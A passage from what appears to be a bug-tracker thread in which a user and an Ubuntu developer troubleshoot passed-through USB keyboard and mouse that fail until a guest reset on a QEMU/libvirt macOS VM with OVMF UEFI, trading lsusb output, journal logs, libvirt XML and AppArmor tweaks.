(e.g. libvirtd)? + +Thanks! + +(1) yeah makes sense now, thanks + +(2) So we can't get good-vs-bad data, but is the behavior any different at least with non MacOS guests then? + +(3) no please no filtering - add all of it to see everything from kernel-apparmor denials to anything odd with udev rules. + + +(2)+(3) bonus, since the device will need to be detached on the host to be passed through and IIRC that depends a bit on USB topology. Can you provide pre/booted/after-reset output of "lsusb -t" of the host as well pelase? + +Sure, will add - NP! One comment on (2) ... I can't say if this happens with other guests or not, as I only bind this USB device to this particular (guest) OS. + +OK, let me try to explain what I did here - and yell if this is not clear! + +Step #1, check lsusb -t before any qemu start, +/: Bus 04.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/4p, 5000M + |__ Port 1: Dev 2, If 0, Class=Mass Storage, Driver=uas, 5000M +/: Bus 03.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/4p, 480M + |__ Port 3: Dev 26, If 0, Class=Human Interface Device, Driver=usbfs, 1.5M + |__ Port 4: Dev 3, If 0, Class=Communications, Driver=rndis_host, 480M + |__ Port 4: Dev 3, If 1, Class=CDC Data, Driver=rndis_host, 480M +/: Bus 02.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/4p, 10000M + |__ Port 1: Dev 2, If 0, Class=Hub, Driver=hub/4p, 5000M + |__ Port 2: Dev 3, If 0, Class=Mass Storage, Driver=uas, 10000M +/: Bus 01.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/10p, 480M + |__ Port 1: Dev 2, If 0, Class=Hub, Driver=hub/4p, 480M + |__ Port 1: Dev 4, If 2, Class=Human Interface Device, Driver=usbhid, 12M + |__ Port 1: Dev 4, If 0, Class=Human Interface Device, Driver=usbhid, 12M + |__ Port 1: Dev 4, If 1, Class=Human Interface Device, Driver=usbhid, 12M + |__ Port 7: Dev 3, If 0, Class=Vendor Specific Class, Driver=pl2303, 12M + |__ Port 10: Dev 5, If 0, Class=Vendor Specific Class, Driver=pl2303, 12M + + +Step #2, virsh start macOS, then I have, +a) lsusb -t +/: Bus 04.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/4p, 5000M + |__ Port 1: Dev 2, If 0, Class=Mass Storage, Driver=uas, 5000M +/: Bus 03.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/4p, 480M + |__ Port 3: Dev 26, If 0, Class=Human Interface Device, Driver=usbfs, 1.5M + |__ Port 4: Dev 3, If 0, Class=Communications, Driver=rndis_host, 480M + |__ Port 4: Dev 3, If 1, Class=CDC Data, Driver=rndis_host, 480M +/: Bus 02.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/4p, 10000M + |__ Port 1: Dev 2, If 0, Class=Hub, Driver=hub/4p, 5000M + |__ Port 2: Dev 3, If 0, Class=Mass Storage, Driver=uas, 10000M +/: Bus 01.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/10p, 480M + |__ Port 1: Dev 2, If 0, Class=Hub, Driver=hub/4p, 480M + |__ Port 1: Dev 4, If 2, Class=Human Interface Device, Driver=usbfs, 12M + |__ Port 1: Dev 4, If 0, Class=Human Interface Device, Driver=usbfs, 12M + |__ Port 1: Dev 4, If 1, Class=Human Interface Device, Driver=usbfs, 12M + |__ Port 7: Dev 3, If 0, Class=Vendor Specific Class, Driver=pl2303, 12M + |__ Port 10: Dev 5, If 0, Class=Vendor Specific Class, Driver=pl2303, 12M + +b) Output from, journalctl -f | grep -v x11vnc (avoid x11vnc flooding), +Dec 01 14:35:32 linuxServer audit[845332]: AVC apparmor="STATUS" operation="profile_load" profile="unconfined" name="libvirt-d06d502a-904a-4b34-847d-debf1a3d76c7" pid=845332 comm="apparmor_parser" +Dec 01 14:35:32 linuxServer kernel: audit: type=1400 audit(1606854932.259:190): apparmor="STATUS" operation="profile_load" profile="unconfined" name="libvirt-d06d502a-904a-4b34-847d-debf1a3d76c7" pid=845332 comm="apparmor_parser" +Dec 01 14:35:32 linuxServer audit[845341]: AVC apparmor="STATUS" operation="profile_replace" profile="unconfined" name="libvirt-d06d502a-904a-4b34-847d-debf1a3d76c7" pid=845341 comm="apparmor_parser" +Dec 01 14:35:32 linuxServer kernel: audit: type=1400 audit(1606854932.451:191): apparmor="STATUS" operation="profile_replace" profile="unconfined" name="libvirt-d06d502a-904a-4b34-847d-debf1a3d76c7" pid=845341 comm="apparmor_parser" +Dec 01 14:35:32 linuxServer audit[845345]: AVC apparmor="STATUS" operation="profile_replace" profile="unconfined" name="libvirt-d06d502a-904a-4b34-847d-debf1a3d76c7" pid=845345 comm="apparmor_parser" +Dec 01 14:35:32 linuxServer kernel: audit: type=1400 audit(1606854932.643:192): apparmor="STATUS" operation="profile_replace" profile="unconfined" name="libvirt-d06d502a-904a-4b34-847d-debf1a3d76c7" pid=845345 comm="apparmor_parser" +Dec 01 14:35:32 linuxServer audit[845352]: AVC apparmor="STATUS" operation="profile_replace" info="same as current profile, skipping" profile="unconfined" name="libvirt-d06d502a-904a-4b34-847d-debf1a3d76c7" pid=845352 comm="apparmor_parser" +Dec 01 14:35:32 linuxServer kernel: audit: type=1400 audit(1606854932.839:193): apparmor="STATUS" operation="profile_replace" info="same as current profile, skipping" profile="unconfined" name="libvirt-d06d502a-904a-4b34-847d-debf1a3d76c7" pid=845352 comm="apparmor_parser" +Dec 01 14:35:32 linuxServer kernel: virbr0: port 2(vnet0) entered blocking state +Dec 01 14:35:32 linuxServer kernel: virbr0: port 2(vnet0) entered disabled state +Dec 01 14:35:32 linuxServer kernel: device vnet0 entered promiscuous mode +Dec 01 14:35:32 linuxServer kernel: virbr0: port 2(vnet0) entered blocking state +Dec 01 14:35:32 linuxServer kernel: virbr0: port 2(vnet0) entered listening state +Dec 01 14:35:32 linuxServer NetworkManager[1648]: <info> [1606854932.8545] manager: (vnet0): new Tun device (/org/freedesktop/NetworkManager/Devices/13) +Dec 01 14:35:32 linuxServer systemd-udevd[845358]: Using default interface naming scheme 'v245'. +Dec 01 14:35:32 linuxServer NetworkManager[1648]: <info> [1606854932.8690] device (vnet0): state change: unmanaged -> unavailable (reason 'connection-assumed', sys-iface-state: 'external') +Dec 01 14:35:32 linuxServer NetworkManager[1648]: <info> [1606854932.8710] device (vnet0): state change: unavailable -> disconnected (reason 'connection-assumed', sys-iface-state: 'external') +Dec 01 14:35:32 linuxServer NetworkManager[1648]: <info> [1606854932.8716] device (vnet0): Activation: starting connection 'vnet0' (1e7b8ae9-ce83-48fd-9381-38a14aac986a) +Dec 01 14:35:32 linuxServer NetworkManager[1648]: <info> [1606854932.8718] device (vnet0): state change: disconnected -> prepare (reason 'none', sys-iface-state: 'external') +Dec 01 14:35:32 linuxServer NetworkManager[1648]: <info> [1606854932.8722] device (vnet0): state change: prepare -> config (reason 'none', sys-iface-state: 'external') +Dec 01 14:35:32 linuxServer NetworkManager[1648]: <info> [1606854932.8725] device (vnet0): state change: config -> ip-config (reason 'none', sys-iface-state: 'external') +Dec 01 14:35:32 linuxServer NetworkManager[1648]: <info> [1606854932.8726] device (virbr0): bridge port vnet0 was attached +Dec 01 14:35:32 linuxServer NetworkManager[1648]: <info> [1606854932.8727] device (vnet0): Activation: connection 'vnet0' enslaved, continuing activation +Dec 01 14:35:32 linuxServer NetworkManager[1648]: <info> [1606854932.8728] device (vnet0): state change: ip-config -> ip-check (reason 'none', sys-iface-state: 'external') +Dec 01 14:35:32 linuxServer dbus-daemon[1647]: [system] Activating via systemd: service name='org.freedesktop.nm_dispatcher' unit='dbus-org.freedesktop.nm-dispatcher.service' requested by ':1.9' (uid=0 pid=1648 comm="/usr/sbin/NetworkManager --no-daemon ") +Dec 01 14:35:32 linuxServer systemd[1]: Starting Network Manager Script Dispatcher Service... +Dec 01 14:35:32 linuxServer dbus-daemon[1647]: [system] Successfully activated service 'org.freedesktop.nm_dispatcher' +Dec 01 14:35:32 linuxServer systemd[1]: Started Network Manager Script Dispatcher Service. +Dec 01 14:35:32 linuxServer NetworkManager[1648]: <info> [1606854932.8933] device (vnet0): state change: ip-check -> secondaries (reason 'none', sys-iface-state: 'external') +Dec 01 14:35:32 linuxServer NetworkManager[1648]: <info> [1606854932.8935] device (vnet0): state change: secondaries -> activated (reason 'none', sys-iface-state: 'external') +Dec 01 14:35:32 linuxServer NetworkManager[1648]: <info> [1606854932.8945] device (vnet0): Activation: successful, device activated. +Dec 01 14:35:32 linuxServer systemd[1]: Reloading Postfix Mail Transport Agent (instance -). +Dec 01 14:35:32 linuxServer postfix/postfix-script[845421]: refreshing the Postfix mail system +Dec 01 14:35:32 linuxServer postfix/master[5209]: reload -- version 3.5.6, configuration /etc/postfix +Dec 01 14:35:32 linuxServer systemd[1]: Reloaded Postfix Mail Transport Agent (instance -). +Dec 01 14:35:32 linuxServer systemd[1]: Reloading Postfix Mail Transport Agent. +Dec 01 14:35:32 linuxServer systemd[1]: Reloaded Postfix Mail Transport Agent. +Dec 01 14:35:32 linuxServer nm-dispatcher[845429]: /etc/network/if-up.d/resolved: 12: mystatedir: not found +Dec 01 14:35:33 linuxServer audit[845373]: AVC apparmor="STATUS" operation="profile_replace" profile="unconfined" name="libvirt-d06d502a-904a-4b34-847d-debf1a3d76c7" pid=845373 comm="apparmor_parser" +Dec 01 14:35:33 linuxServer kernel: audit: type=1400 audit(1606854933.051:194): apparmor="STATUS" operation="profile_replace" profile="unconfined" name="libvirt-d06d502a-904a-4b34-847d-debf1a3d76c7" pid=845373 comm="apparmor_parser" +Dec 01 14:35:33 linuxServer libvirtd[1678598]: Domain id=4 name='macOS' uuid=d06d502a-904a-4b34-847d-debf1a3d76c7 is tainted: custom-argv +Dec 01 14:35:33 linuxServer systemd-machined[1695]: New machine qemu-4-macOS. +Dec 01 14:35:33 linuxServer systemd[1]: Started Virtual Machine qemu-4-macOS. +Dec 01 14:35:33 linuxServer avahi-daemon[1646]: Joining mDNS multicast group on interface vnet0.IPv6 with address fe80::fc54:ff:fe92:d47b. +Dec 01 14:35:33 linuxServer avahi-daemon[1646]: New relevant interface vnet0.IPv6 for mDNS. +Dec 01 14:35:33 linuxServer avahi-daemon[1646]: Registering new address record for fe80::fc54:ff:fe92:d47b on vnet0.*. +Dec 01 14:35:34 linuxServer kernel: virbr0: port 2(vnet0) entered learning state +Dec 01 14:35:35 linuxServer kernel: vfio-pci 0000:09:00.0: vfio_ecap_init: hiding ecap 0x1e@0x178 +Dec 01 14:35:35 linuxServer /usr/libexec/gdm-x-session[2634000]: (II) config/udev: removing device Logitech M215 2nd Gen +Dec 01 14:35:35 linuxServer /usr/libexec/gdm-x-session[2634000]: (**) Option "fd" "75" +Dec 01 14:35:35 linuxServer /usr/libexec/gdm-x-session[2634000]: (II) event2 - Logitech M215 2nd Gen: device removed +Dec 01 14:35:35 linuxServer /usr/libexec/gdm-x-session[2634000]: (II) UnloadModule: "libinput" +Dec 01 14:35:35 linuxServer /usr/libexec/gdm-x-session[2634000]: (II) systemd-logind: releasing fd for 13:66 +Dec 01 14:35:35 linuxServer acpid[1645]: input device has been disconnected, fd 21 +Dec 01 14:35:35 linuxServer /usr/libexec/gdm-x-session[2634000]: (II) config/udev: removing device Logitech K330 +Dec 01 14:35:35 linuxServer /usr/libexec/gdm-x-session[2634000]: (**) Option "fd" "77" +Dec 01 14:35:35 linuxServer /usr/libexec/gdm-x-session[2634000]: (II) UnloadModule: "libinput" +Dec 01 14:35:35 linuxServer /usr/libexec/gdm-x-session[2634000]: (II) systemd-logind: not releasing fd for 13:67, still in use +Dec 01 14:35:35 linuxServer /usr/libexec/gdm-x-session[2634000]: (II) config/udev: removing device Logitech K330 +Dec 01 14:35:35 linuxServer /usr/libexec/gdm-x-session[2634000]: (**) Option "fd" "77" +Dec 01 14:35:35 linuxServer /usr/libexec/gdm-x-session[2634000]: (II) event3 - Logitech K330: device removed +Dec 01 14:35:35 linuxServer /usr/libexec/gdm-x-session[2634000]: (II) UnloadModule: "libinput" +Dec 01 14:35:35 linuxServer /usr/libexec/gdm-x-session[2634000]: (II) systemd-logind: releasing fd for 13:67 +Dec 01 14:35:35 linuxServer kernel: vfio-pci 0000:01:00.0: vfio_ecap_init: hiding ecap 0x19@0x270 +Dec 01 14:35:35 linuxServer kernel: vfio-pci 0000:01:00.0: vfio_ecap_init: hiding ecap 0x1b@0x2d0 +Dec 01 14:35:35 linuxServer kernel: vfio-pci 0000:01:00.0: vfio_ecap_init: hiding ecap 0x1e@0x370 +Dec 01 14:35:36 linuxServer kernel: vfio-pci 0000:05:00.0: vfio_ecap_init: hiding ecap 0x1e@0x154 +Dec 01 14:35:36 linuxServer NetworkManager[1648]: <info> [1606854936.8911] device (virbr0): carrier: link connected +Dec 01 14:35:36 linuxServer kernel: virbr0: port 2(vnet0) entered forwarding state +Dec 01 14:35:36 linuxServer kernel: virbr0: topology change detected, propagating +Dec 01 14:35:42 linuxServer systemd-resolved[1517]: Server returned error NXDOMAIN, mitigating potential DNS violation DVE-2018-0001, retrying transaction with reduced feature level UDP. +Dec 01 14:35:42 linuxServer systemd-resolved[1517]: Server returned error NXDOMAIN, mitigating potential DNS violation DVE-2018-0001, retrying transaction with reduced feature level UDP. +Dec 01 14:35:42 linuxServer systemd-resolved[1517]: Server returned error NXDOMAIN, mitigating potential DNS violation DVE-2018-0001, retrying transaction with reduced feature level UDP. +Dec 01 14:35:42 linuxServer systemd-resolved[1517]: Server returned error NXDOMAIN, mitigating potential DNS violation DVE-2018-0001, retrying transaction with reduced feature level UDP. +Dec 01 14:35:42 linuxServer systemd-resolved[1517]: Server returned error NXDOMAIN, mitigating potential DNS violation DVE-2018-0001, retrying transaction with reduced feature level UDP. +Dec 01 14:35:42 linuxServer systemd[1]: NetworkManager-dispatcher.service: Succeeded. + + +Step #3, no working USB keyboard/mouse above, so virsh reset macOS, then working USB keyboard/mouse, and, +a) lsusb -t +/: Bus 04.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/4p, 5000M + |__ Port 1: Dev 2, If 0, Class=Mass Storage, Driver=uas, 5000M +/: Bus 03.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/4p, 480M + |__ Port 3: Dev 26, If 0, Class=Human Interface Device, Driver=usbfs, 1.5M + |__ Port 4: Dev 3, If 0, Class=Communications, Driver=rndis_host, 480M + |__ Port 4: Dev 3, If 1, Class=CDC Data, Driver=rndis_host, 480M +/: Bus 02.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/4p, 10000M + |__ Port 1: Dev 2, If 0, Class=Hub, Driver=hub/4p, 5000M + |__ Port 2: Dev 3, If 0, Class=Mass Storage, Driver=uas, 10000M +/: Bus 01.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/10p, 480M + |__ Port 1: Dev 2, If 0, Class=Hub, Driver=hub/4p, 480M + |__ Port 1: Dev 4, If 2, Class=Human Interface Device, Driver=usbfs, 12M + |__ Port 1: Dev 4, If 0, Class=Human Interface Device, Driver=usbfs, 12M + |__ Port 1: Dev 4, If 1, Class=Human Interface Device, Driver=usbfs, 12M + |__ Port 7: Dev 3, If 0, Class=Vendor Specific Class, Driver=pl2303, 12M + |__ Port 10: Dev 5, If 0, Class=Vendor Specific Class, Driver=pl2303, 12M + +b) Output from, journalctl -f | grep -v x11vnc, +Dec 01 14:36:10 linuxServer kernel: usb 1-1.1: reset full-speed USB device number 4 using xhci_hcd +Dec 01 14:36:10 linuxServer upowerd[4208]: treating change event as add on /sys/devices/pci0000:00/0000:00:01.3/0000:02:00.0/usb1/1-1/1-1.1 +Dec 01 14:36:10 linuxServer upowerd[4208]: treating change event as add on /sys/devices/pci0000:00/0000:00:01.3/0000:02:00.0/usb1/1-1/1-1.1 + + +Make sense? + +Thanks! + +The logs make total sense, thank you! + + +OK on lsusb: +We see the HID devices flip from "usbhid" driver to "usbfs" with the initial start. +They no more change on the reset. + + +On the journal entries we see on the initial guest start that gnome has to yield the devices (OK). +USB isn't mentioned at all on this initial start +No errors that would seem obvious there. ... + +Then on the reset we see (due to the reset) that the host kernel seems to do a USB reset +Dec 01 14:36:10 linuxServer kernel: usb 1-1.1: reset full-speed USB device number 4 using xhci_hcd +Dec 01 14:36:10 linuxServer upowerd[4208]: treating change event as add on /sys/devices/pci0000:00/0000:00:01.3/0000:02:00.0/usb1/1-1/1-1.1 +Dec 01 14:36:10 linuxServer upowerd[4208]: treating change event as add on /sys/devices/pci0000:00/0000:00:01.3/0000:02:00.0/usb1/1-1/1-1.1 + +That does not immediately point to the issue unfortunately :-/ + +I assume the bus reset is done as part of giving the devices back and resetting them. + + +Maybe we should try to reset this device when the hang happens ourselve to see if it does something: +Be warned, this could be bad as in "need to reboot afterwards" +Device: + Bus 01.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/10p, 480M + +I'm unsure which reset exactly that was, maybe the following (re-)initializes too much but you might try (when the guest hangs): +$ cd /sys/bus/pci/drivers/xhci_hcd/; echo -n "0000:00:01.3" > unbind; echo -n "0000:00:01.3" > bind; + +On a similar note, any success if you replug one of those devices? + + + +--- + +On (2) you said: +"I can't say if this happens with other guests or not, as I only bind this USB device to this particular (guest) OS" +=> But you can for a try shut that guest down and use another e.g. Ubuntu guest with the same forwarding to try right? + +No issue with reboot, worry about that after we debug this :-). I tried the noted command, but I get, +bash: echo: write error: No such device +bash: echo: write error: No such device + +FYI, +$ ls -alF /sys/bus/pci/drivers/xhci_hcd/ +total 0 +drwxr-xr-x 2 root root 0 Dec 2 17:51 ./ +drwxr-xr-x 35 root root 0 Dec 2 17:51 ../ +lrwxrwxrwx 1 root root 0 Dec 2 17:51 0000:02:00.0 -> ../../../../devices/pci0000:00/0000:00:01.3/0000:02:00.0/ +lrwxrwxrwx 1 root root 0 Dec 2 17:51 0000:0b:00.3 -> ../../../../devices/pci0000:00/0000:00:07.1/0000:0b:00.3/ +--w------- 1 root root 4096 Dec 2 17:53 bind +lrwxrwxrwx 1 root root 0 Dec 2 17:51 module -> ../../../../module/xhci_pci/ +--w------- 1 root root 4096 Dec 2 17:51 new_id +--w------- 1 root root 4096 Dec 2 17:51 remove_id +--w------- 1 root root 4096 Dec 2 17:51 uevent +--w------- 1 root root 4096 Dec 2 17:53 unbind + +So I tried echo -n "0000:02:00.0", but no recovery. Also, unplug / plug ... nope. So then I tried my old standby :-). +virsh reset macOS +=> Nope, not working now. Had to destroy the VM, then the usual (start, reset) ... working again. + +Thoughts? + +Also just stumbled on to this by accident ... on VM start, no USB (as above). But leave it 5 min, and the VM reboots itself (internally, not restart at the virsh "level" ... UEFI watchdog perhaps?). And then USB is OK. So is it some sort of race condition / timing issue at initial VM startup? + +Thanks! + +Hmm, +I was guessing the paths from your former log output. +Thanks for fixing it up as needed on your system. +So we know that just resetting it from the Host POV won't change anything. + +And thanks for the info on "auto-recovering" on guest reboot. + +The one obvious next test would be to shut down the macOS guest and try an ubuntu guest with the same forwards. That will allow us to see if it is "virtualization-components" or actually "guest OS" that we need to think about. + +> The one obvious next test would be to shut down the macOS guest and try an ubuntu guest with the same forwards. That will allow us to see if it is "virtualization-components" or actually "guest OS" that we need to think about. + +Good idea. OK, so I shut down all VM's, added this same USB device to a Windows 10 VM I also had defined (on the same host OS). Started it up (same way, virsh start) => booted up, and ... USB device works! + +So it seems to be guest OS related, agreed? And actually, not even that I'd say, as I can't even use it in the bootloader / UEFI, so not really even the OS, but the bootloader / UEFI? And that sort of aligns with the watchdog reset, as then it works, but still hasn't gotten to the OS (boot). Agreed? + +Thanks! + +I think we can agree that it is "guest dependent" +Either Windows has a way to fix up the issue or it doesn't even have it to begin with (compare to MacOS). + +Chances are that your (virtual) bootloader/UEFI are what breaks it to begin with (and not the MacOS later). Do you think you could play around with the options you have for that (does it need to be UEFI for example)? Even if you'd need to stick to UEFI you could reset it by e.g. replacing it's VAR file that represents the UEFI-writable space. + +OK, some interesting findings :-). And back to thinking it may be QEMU related? Let me explain, by all means disagree! +1) I found that using OpenCore with macOS, I no longer need a custom UEFI. So, I tried the UEFI that comes with Ubuntu (apt install ovmf, copied the files over). No change. So then, I cloned and built the latest UEFI from Tianocore / EDK II (https://github.com/tianocore/edk2). Copied that over (and VARS, default), no delta. And as I can't get into the UEFI menu on VM startup (i.e. press ESC, F2, etc.) ... seems to be OS independent, just an issue between UEFI and QEMU - agreed? +2) Figured I'd try to clone, build and run the latest version of QEMU, see if that is it - FYI, the current version in Ubuntu that I'm running is, +QEMU emulator version 5.0.0 (Debian 1:5.0-5ubuntu9.2) +Copyright (c) 2003-2020 Fabrice Bellard and the QEMU Project developers + +OK, that said ... I can build, install => but can't get apparmor to let me run my custom QEMU executable (arrgh!). I even tried disabling security_driver (set to "none" in /etc/libvirt/qemu.conf, restarted libvirtd.service) ... but no joy. Can't get the latest QEMU to run. Any thoughts here would be appreciated! This is to see if it's an "older" issue, and may be resolved already. + +3) An interesting side note, when I did get into the UEFI menu (post VM reset), changed the resolution ... I could no longer boot (fully) my guest OS. Had to reboot my host OS (Ubuntu), then all OK. Very odd, but an observation :-). + +Thanks for all the help! + +FYI, was able to get the following version of QEMU running (using the info at https://stackoverflow.com/questions/10817813/apparmor-causes-issues-on-libvirt-with-custom-qemu), +QEMU emulator version 5.1.93 (v5.2.0-rc3) +Copyright (c) 2003-2020 Fabrice Bellard and the QEMU Project developers + +No delta - still reacts the same. + +Thanks! + +Thanks for your feedback Russell. +You resolved the apparmor issue faster than I could reply :-) + +About the actual issue, it indeed seems like an issue between UEFI and QEMU here. +But I'm still wondering why it then would be any different with Windows and/or Linux guests. +Is the UEFI in those Windows/Linux guests always working fine, or is in those cases maybe the UEFI affected but the later boot of the OS resets/fixes the bad condition (whatever it is). + +And if on those non MacOS guests the UEFI is always fine, then we are back wondering why that would be the case if they are using the same UEFI&Qemu combination. + + + +... I feel like I can't really help here, but I'm happy to continue to discuss. Hopefully we can end in a place which either of us can actually action upon to resolve it for you. + +No worries, and thanks for all the help so far - it really is appreciated! + +On the apparmor issue, is this the "right" fix? I modified /etc/apparmor.d/abstractions/libvirt-qemu, adding, +/usr/local/bin/qemu-system-x86_64 rmix, +/usr/local/share/qemu/** r, + +Or is there a "better" (correct) way? + +As for Windows/Linux vs. macOS guests, I don't think they are usign the same UEFI (are they?). I did reboot the Windows guest, and it looks to be a different "BIOS", agreed? Checking the xml configuration files, they are a bit different (macOS copied below, Windows does not include this). So is it (specifically?) UEFI vs. QEMU (i.e. that is the issue)? +<loader readonly="yes" type="pflash">OVMF_CODE.fd</loader> +<nvram>OVMF_VARS.fd</nvram> + +I could definitely be wrong here, but thinking that "stock" UEFI should work / be supported? + +Thanks again! + +> On the apparmor issue, is this the "right" fix? I modified /etc/apparmor.d/abstractions/libvirt-qemu, adding, +> /usr/local/bin/qemu-system-x86_64 rmix, +> /usr/local/share/qemu/** r, +> +> Or is there a "better" (correct) way? + +Doing the same in /etc/apparmor.d/local/abstractions/libvirt-qemu is +better to now get conflicts on upgrades. + +> As for Windows/Linux vs. macOS guests, I don't think they are usign the same UEFI (are they?). +> I did reboot the Windows guest, and it looks to be a different "BIOS", agreed? +> Checking the xml configuration files, they are a bit different (macOS copied below, Windows does not include this). So is it (specifically?) UEFI vs. QEMU (i.e. that is the issue)? +> <loader readonly="yes" type="pflash">OVMF_CODE.fd</loader> +> <nvram>OVMF_VARS.fd</nvram> + +The above section belongs to using OVMF and if the windows guest +didn't have that it probably runs on seabios or some other non UEFI +path. + + +> Doing the same in /etc/apparmor.d/local/abstractions/libvirt-qemu is +> better to now get conflicts on upgrades. + +Makes sense, thanks! Will move the items there. Both entries are needed? Seems like I can just restart apparmor after (or at least that's working for me). + +> if the windows guest didn't have that it probably runs on seabios or +> some other non UEFI path. + +Agreed! Looks like it runs SeaBIOS (fast flash of the screen :-)). So the issue seems to be UEFI and QEMU? + +Thanks! + +On Mon, Dec 7, 2020 at 4:05 PM Russell Morris +<email address hidden> wrote: +> +> > Doing the same in /etc/apparmor.d/local/abstractions/libvirt-qemu is +> > better to now get conflicts on upgrades. +> +> Makes sense, thanks! Will move the items there. Both entries are needed? +> Seems like I can just restart apparmor after (or at least that's working +> for me). + +This particular rule is (re)loaded on guest start, so stop+start a +guest and it is updated. + +> > if the windows guest didn't have that it probably runs on seabios or +> > some other non UEFI path. +> +> Agreed! Looks like it runs SeaBIOS (fast flash of the screen :-)). So +> the issue seems to be UEFI and QEMU? + +Yeah - kind of, and now the request it to test Ubuntu and Windows +guest with the same OVMF based UEFI. + + +> This particular rule is (re)loaded on guest start, so stop+start a +> guest and it is updated. + +So no need to restart apparmor? And both entries are required (in the libvirt-qemu file)? + +> Yeah - kind of, and now the request it to test Ubuntu and Windows +> guest with the same OVMF based UEFI. + +Funny! Only because we're very much on the same page - was already trying to get that going :-). Will let you know! + +Hmmm ... not getting Windows 10 to boot now. Trying to follow https://k3a.me/boot-windows-partition-virtually-kvm-uefi/, set up os in my config (xml), + <os> + <type arch="x86_64" machine="pc-q35-5.2">hvm</type> + <loader readonly="yes" type="pflash">/var/lib/libvirt/qemu/nvram/OVMF_CODE.fd</loader> + <nvram>/var/lib/libvirt/qemu/nvram/win8.1_VARS.fd</nvram> + <boot dev="hd"/> + <bootmenu enable="yes"/> + </os> + +I get to the UEFI menu, but it won't seem to boot to my drive. Thoughts / suggestions? + +Thanks! + + +> +> I get to the UEFI menu, but it won't seem to boot to my drive. Thoughts +> / suggestions? + +I guess for that to work you'd have had to install it with UEFI +already present to prep the boot entries accordingly. +I'm not asking you to modify (and break) your existing guest. +Recommendation: just install an Ubuntu in such a Guest - that should +provide the best debugging options and has the most simple install. + + +Yep, makes sense ... but I have to admit, I screwed up. Sorry! Complete bonehead on my part. + +When I tested Ubuntu (guest), I was connected over VNC, so I didn't correctly / properly test the USB interface. So, I re-checked, making sure to use QEMU + UEFI (Tianocore, stock VARS), and check USB. It does exactly the same thing (now :-))! And this makes more sense, it was very odd that the OS would play into it. + +I also here have to do a reset (of the guest), to get the USB to show up. So it really does seem to be an issue between QEMU and UEFI, agreed? + +Thanks! + +> I also here have to do a reset (of the guest), to get the USB to show +> up. So it really does seem to be an issue between QEMU and UEFI, agreed? + +As it seems right now - yes +I've not yet seen/reproduced the same on qemu 5.0/edk2 2020.08-1 :-/ + +I can ping here once I have qemu 5.2 (just released) ready to try, but +quite likely you'll want to ask the ustream people on this. +It might make sense to them and whatever hint they have could bring +this forward. +Would you mind outlining your case on the upstream mailing list? + +P.S. Please report the link to the ML archive entry here, that would be nice + + +> I've not yet seen/reproduced the same on qemu 5.0/edk2 2020.08-1 :-/ + +So you don't see this issue, or haven't had a chance to check it? No biggie either way, just trying to understand your comment :-). + +> Would you mind outlining your case on the upstream mailing list? + +Yes, no issue at all - but should we wait for you to test? If you see the same issue, NP at all flagging this. But if you don't, then somehow configuration related? + +Thanks! + +> > I've not yet seen/reproduced the same on qemu 5.0/edk2 2020.08-1 :-/ +> +> So you don't see this issue, or haven't had a chance to check it? No +> biggie either way, just trying to understand your comment :-). + +Sorry to be unclear: +- I was not having the issues doing the same in the past. +- Nor did I have "another" report about it yet. +- I was taking this as a chance trying to reproduce it again ... + +The device that I pass around is: +Bus 002 Device 004: ID 046d:c069 Logitech, Inc. M-U0007 [Corded Mouse M500] + +This is the hierarchy it is attached with: +/: Bus 02.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/11p, 480M + |__ Port 2: Dev 2, If 0, Class=Vendor Specific Class, Driver=pl2303, 12M + |__ Port 4: Dev 4, If 0, Class=Human Interface Device, Driver=usbhid, 1.5M + + + +Testcase: +- Use UEFI from ovmf and USB passthrough +- boot into a 20.04.1 Desktop installation ISO live environment +- does the forwarded mouse work in the Linux environment + +Forwarding: +<hostdev mode="subsystem" type="usb" managed="yes"> + <source> + <vendor id="0x046d"/> + <product id="0xc069"/> + </source> +</hostdev> + +Using OVMF + <os> + <type arch="x86_64" machine="pc-q35-focal">hvm</type> + <loader readonly="yes" type="pflash">/usr/share/OVMF/OVMF_CODE.fd</loader> + <boot dev="hd"/> + </os> + +First on 20.04 +Qemu: 1:4.2-3ubuntu6.10 ovmf 0~20191122.bd85bf54-2ubuntu3 + +Note: On guest start I see on the host (dmesg, this is triggered by passing it on): +[ 1471.526982] usb 2-4: reset low-speed USB device number 4 using xhci_hcd +When the guest ends it comes back like: +[ 2417.321453] usb 2-4: reset low-speed USB device number 4 using xhci_hcd +[ 2417.615907] input: Logitech USB Laser Mouse as /devices/pci0000:00/0000:00:14.0/usb2/2-4/2-4:1.0/0003:046D:C069.0005/input/input16 +[ 2417.677515] hid-generic 0003:046D:C069.0005: input,hidraw0: USB HID v1.10 Mouse [Logitech USB Laser Mouse] on usb-0000:00:14.0-4/input0 + + +Result: +- the passthrough mouse works fine in the guest +- it is seen in guests lsusb +- There is some struggle with the mouse-pointer as the PassThrough-mouse + fights with virtual tablet + virtual mouse (visual pointer only follows virtual + mouse, but real mouse still works completely fine) + +If you'd also use e.g. GPU passthrough you'd have less confusion, but since I use spice/qxl there always will still be mouse signals from the host reaching the guest that way. +(TBH for Mouse/keyboard I'm personally favoring just using the virtual devices for the ability to interact with host and guest as needed) +But anyway, if I'd e.g. start an app in the guest I can control it with the passed-through mouse and that is what you look for I guess. + +So on 20.04 things worked for me (as in the past). + + +Upgrading to 20.10 +Qemu: 1:5.0-5ubuntu9.2 +OVMF: 2020.05-5 +=> Still working fine + +Upgrading to 21.04 +Qemu: 1:5.1+dfsg-4ubuntu3 +OVMF: 2020.08-1 + + +P.S. on the fighting input devices. +Qemu/Libvirt doesn't really let you run without these easily (too many guests have fatal fails without input devices). But I have quickly seen that things are fine on e.g. the installer but later on Ubuntu boot change (desktop integration gets enabled, the mouse pointer fight begins). That was due to the service spice-vdagentd starting which then did the mouse forwarding through spice. +Again if you e.g. use GPU forwarding that would be fine already. But if you are not you can just disable the service in the guest and it will stop to interfere. + +# To really disably it properly 